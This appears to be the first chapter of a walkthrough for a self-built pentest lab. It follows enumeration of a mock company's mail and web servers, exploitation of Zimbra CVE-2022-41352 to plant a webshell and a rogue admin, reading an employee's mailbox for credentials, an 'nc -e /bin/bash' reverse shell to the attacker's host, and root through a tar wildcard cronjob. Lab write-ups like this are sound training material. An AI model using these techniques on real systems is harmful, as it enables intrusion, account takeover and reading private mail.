Chapter I

First part of the walkthrough-series for the AllEndEvent pentest challenge.

Preflight Checks

Alright, we've set up the virtual network as described in the Introduction and are ready for action. Just to reiterate, the attack VM - a Kali machine in this case - was added to the "external" network, a static IP of 10.0.5.10 was assigned and snapshots for all target VMs were taken.

Additionally, the /etc/hosts on Kali was modified to look like this.

We've studied the scope and are aware of what we are (not) allowed to test. Remember that only the IP ranges 10.0.5.0/24 and 10.0.10.0/24 are in scope.

That's it, let's start the AllEndEvent network by powering up all three target VMs.

Network Enumeration

Though we already know about two hosts, let's first scan the entire 10.0.5.0/24 network for alive hosts. Since we're not connected to the 10.0.10.0/24 network, the "external" network is all we can look at for now.

Note that we won't cover the details of used tools in this series. If you want to learn more about certain tools or flags, I highly recommend consulting the man pages and Google.

Using nmap we are able to confirm that there are only two visible targets in this network - 10.0.5.10 is us.

Whether you write a report or not, it's always a good idea to note down all your findings. This way you can come back to your notes later instead of repeating scans over and over. In this case, we'd write down the two targets with their respective hostnames.

Let's scan each of them to see what they have to offer in terms of open ports and attack surface.

Although this is meant to be a somewhat realistic environment, we're being a little agressive with our scanning options for the sole purpose of speeding things up. As we would've expected, mail.allendevent.com returns several open ports that are commonly associated with mail services (POP3, IMAP, SMTP). Port 443 indicates a possible website and 7071 remains unknown at first glance. Fine, we note them down and check allendevent.com. Here, all we can see is port 80 which is commonly used for http connections (i.e. web traffic). Based on what we know so far, let's name the two servers "mail server" and "web server" respectively.

Mail Server Enumeration

In an ordinary assessment this may be the moment where you activate all your vulnerability scanners. While I encourage you to practice your scanning and enumeration techniques on all ports, this write-up will focus on the important bits and pieces. Therefore, we analyse the services on port 443 and 7071.

As suspected, port 443 turns out to be an nginx web server. More interestingly, however, is the identifcation of "Zimbra admin http config" on port 7071. Before we continue, let's do a quick Google search for "Zimbra admin" to see what we might be dealing with.

Skimming the first few links, it appears that we're dealing with a Zimbra mail server and port 7071 looks like the default administration panel. One thing to look out for are potential default credentials in the documentation but Zimbra doesn't seem to use default credentials. Scanning the other ports will also yield more Zimbra references.

Unfortunately, nmap did not return a version number for Zimbra, so let's take a manual look at the discovered websites.

You may get a "missing certificate" warning the first time you access either website. Simply dismiss it by continuing.

Well, neither dropped us right into a shell - but that was to be expected. It's not a CTF after all. Although we do not have a lot of options on the login pages, there's a slightly useful piece of information at the very bottom. @2005-2021 and @2005-2023 - now that's not a direct version number, but it does give us an idea of when the latest update may have been deployed. At least we can be sure that the Zimbra version should be close to whatever was released near 2023.

Without a valid set of credentials, there's not much we can do with the logins at this point. In other engagements you might try credential stuffing, brute forcing, credential phishing etc. but those have been excluded from this simulation. Another basic step is to check for any known vulnerabilities. Without a specific version number, we'll have to keep the search broad.

Searching for "CVE <software>", "exploit <software>" or even "RCE <software>" can all yield low hanging fruits and lead to an easy win. Alternatively, we can just look at the official release history and see if there have been any recent security patches.

If there are more recent vulnerabilities, I encourage you to check them out, but at the time of writing CVE-2022-41352 seems to be the most recent security flaw that was rated "Major". Just below that, released with the same patch, is another vulnerability: CVE-2022-37393. The description reveals a potential privilege escalation vector should we be able to gain RCE as the zimbra user. At this point you should do some research about the potential vulnerabilities that we've identified so far. Reading up on CVE-2022-41352 suggests that we have a potential RCE vulnerability, so we'll put it in our notes - we do not attempt exploitation yet.

Also note that the other vulnerabilities should not be neglected during a penetration test.

With notes about the potential things to try on Zimbra we can now switch focus to the webserver.

Web Server Enumeration

Since there's only port 80 open, let's see what nmap can do for us here.

We can see that nmap reports a WordPress installation with the version 6.1.1. If you find any interesting vulnerabilities for this version, feel free to do research on them. However, at the current moment 6.1.1 is the latest maintenance release and does not include any known issues of value.

The nmap scan also reveals the web server version (Apache 2.4.6) as well as the backend version (PHP 7.3.33) and the likely server OS (CentOS). Though you might want to spend some time studying the output in greater detail, I will save us some time by letting you know that there are currently no valuable vulnerabilities in any of these versions for us.

Still, we should at least investigate the website at http://allendevent.com.

Besides some awefully uncreative movie references, we can not do or see much except a maintenance note near the bottom. Apparently, AllEndEvent employees are working on their customer relation management. This might be a hint for other software used inside the company but without more details it's not very helpful.

At this point we could deploy tools like wp-scan and work our way through web pentest checklists, but I will skip ahead to the end of the enumeration phase here.

Although brute forcing was excluded in the introduction, you may have decided to enumerate subdomains with a tool like ffuf and found an additional login panel. We'll get to that in chapter II.

Having found no obvious vulnerabilities on the web server we conclude our preliminary enumeration and move on to the next phase: exploitation.

Exploitation

During enumeration we discovered the possible exploit CVE-2022-41352. In this phase we're all about testing potential vulnerabilities, thus asserting the patch level of the applications. In order to attempt exploitation, we can either read advisories and write a custom exploit or we're lucky enough to find that someone has already done the work for us. In case of CVE-2022-41352 you may notice that Metasploit already has a module for it, but there's also a public exploit script on GitHub. If we go ahead and search for "CVE-2022-41352 RCE" we're going to find:

It's always worth looking at multiple exploits and understand what they're doing before just executing them. We won't dive into the details here but I definitely recommend you read up on them if you haven't yet.

After reading the README and watching the demonstration, we're ready to get started with exploitation. First, let's download the script and look at the help menu.

This looks like a lot of text but I promise it's worth reading. First, there's one required argument called mode. The mode fullpwn looks promising as it offers to add a new global mail administrator. Reading the other options you'll notice that we should at least specify --target. The rest of the options seem to have acceptable default values. Let's go ahead and run it.

Success! It appears that a webshell is now accessible at https://mail.allendevent.com/public/jsp/Startup1_3.jsp. Also note the creation of a new mail administrator. Now we should have access to the admin panel that we discovered during enumeration.

Let's confirm both outputs. First, we navigate to the webshell location and attempt to run a command:

And what about the administrator credentials for https://mail.allendevent.com:7071?

Fair enough, we're in full control of Zimbra now. Let's enumerate further.

We gained initial access on mail.allendevent.com via CVE-2022-41352. Next up will be more enumeration, privilege escalation and even more enumeration.

More Mail Server Enumeration

With administrator access to Zimbra we automatically assume control over every account on that mail server. Let's view the AllEndEvent mail accounts.

4 people - that's not that many. If this was a real mail server though, we could be looking at hundreds and thousand of accounts. Since resetting passwords is allowed, we might want to look at some of these accounts and see what they were writing - maybe we can gather some valuable information. In order to be minimally disruptive, we'll only change the password of the IT administrator (check the aliases -> jhernandez@allendevent.com) and see what he's been up to lately.

With a right-click on James Hernandez -> Edit we reset his password (choosing something secure that no other attacker might accidentally try). Subsequently, we log in to his account on the normal web client interface.

When it comes to reading emails of employees, you should definitely make sure it's in scope and you got written approval before you do it - as with pretty much everything else. For the sake of this simulation though, everything is allowed.

As we can see, mshea tried to log in at crm.allendevent.com but forgot her password. It's been reset by James to be AllendeventIsTheBest1!. Those credentials might prove useful in the future so they're going right into our notes.

James Hernandez already exchanged messages with the other two persons.

While Margaret appears to be on the sales team, Mary Westfal turns out to be a web designer for AllEndEvent. Though we do not get credentials out of this email, there's a mention of an FTP connection that shall be tested from this mail server.

Lastly, there's Larry the annoying manager.

There's some loose information about a wiki and an internal server.

Having collected all that information, we'll be moving on to the webshell.

We gathered potential credentials for SuiteCRM, we found out about an FTP user called webdev and there might be a Wiki somewhere internally.

Privilege Escalation

First of all, let's turn the webshell into a reverse shell. This way we'll have a better overview. For this purpose we'll open a listener on Kali with nc -nlvp 80 and call back to the listener with the most basic reverse shell command: nc -e /bin/bash 10.0.5.10 80.

Now that we have a semi-interactive shell, we can start looking for ways to escalate our privileges to root. The invested reader will notice, that CVE-2022-37393 could be leveraged now. However, I'll demonstrate an alternative.

During enumeration we notice an uncommon file in the /tmp directory.

The timestamp changes every minute and the name suggests a backup of configuration files. Viewing the common locations for cronjobs or scheduled jobs, however, yields nothing related to it. On the hunch that root might have a personal cronjob setup for this, let's investigate what that looks like. For this we'll be using pspy.

Following the output for a while:

As we suspected, a cronjob is being executed with root permissions about every minute. First, the command changes the directory to /opt/zimbra/conf (a directoy that we - as the zimbra user - have access to) and then it executes tar -cf /tmp/conf.bak.tar *.

If you have never seen this vulnerability before, it might be very difficult to spot. That's exactly the reason why it was chosen. Finding vulnerabilities is not just about using scanners but also the ability to think outside of the box and to search for things that we don't know exist yet. If you did not spot it as a vulnerability, it's perfectly fine - I hope you still got to learn something from this. For those who already know it exploitation is trivial.

The vulnerability is sometimes referred to as "wildcard attack" and can be abused to gain code execution (or escalate privileges in our case). It's based on the fact, that the wildcard will expand to every file in the directory and if a file has a name like --flag-option, it will be interpreted as a flag. Therefore, we'll create files that mimic command-line parameters for code exectuion. For other examples and exploitation steps, see here.

We successfully gained effective root access. Note that the euid=0 allows us to run anything as root. So setting the uid to 0 becomes trivial but won't be demonstrated here.

Even More Mail Server Enumeration

Great, we got root access on the mail server. What about the web server and where is the internal server? The network can be enumerated in quite a lot of different ways but all will lead to the same end. Instead of demonstrating every possible enumeration vector, I challenge you to use the current acces to gather as much information as you can about the rest of AllEndEvent.

However, before we start jumping through the network, we should take a second to see if there's any additional useful information on the current server. Places that could prove interesting would be configuration files, stored passwords, other user directories, running services and SSH keys to just name a few. In our case, it's the command line history of root that's most interesting.

Due to our very basic shell, the output may be a bit hard to understand. The first line is the command that we issued inside the /root directory and the rest is the output of that command.

On the third line we see an attempt to establish an FTP connection to allendevent.com. webdev was the username mentioned in the emails. Consulting our previous notes confirms, that this is the FTP access for Mary Westfall on the web server.

However, looking at the initial scan results, the web server has no external facing FTP server. I guess we'll need a little bit more enumeration.

We found FTP credentials for allendevent.com but no FTP server yet.

That's it for the first chapter. In the next chapter we'll use our notes and investigate vectors to attack the second external server.

PreviousIntroduction NextChapter II

Last updated 1 year ago